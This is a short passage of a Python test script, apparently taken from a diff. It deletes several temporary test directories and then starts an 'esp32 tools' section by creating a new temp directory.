shutil.rmtree(rs_good_root, ignore_errors=True)
shutil.rmtree(ud_root, ignore_errors=True)
shutil.rmtree(ud_good_root, ignore_errors=True)
shutil.rmtree(is_root, ignore_errors=True)
shutil.rmtree(is_good_root, ignore_errors=True)
shutil.rmtree(cfg36_home, ignore_errors=True)
print("\n== esp32 tools ==")
@@ -13243,6 +13406,7 @@ print("\n== esp32 tools ==")
esp_home = tempfile.mkdtemp(prefix="apex-esp-")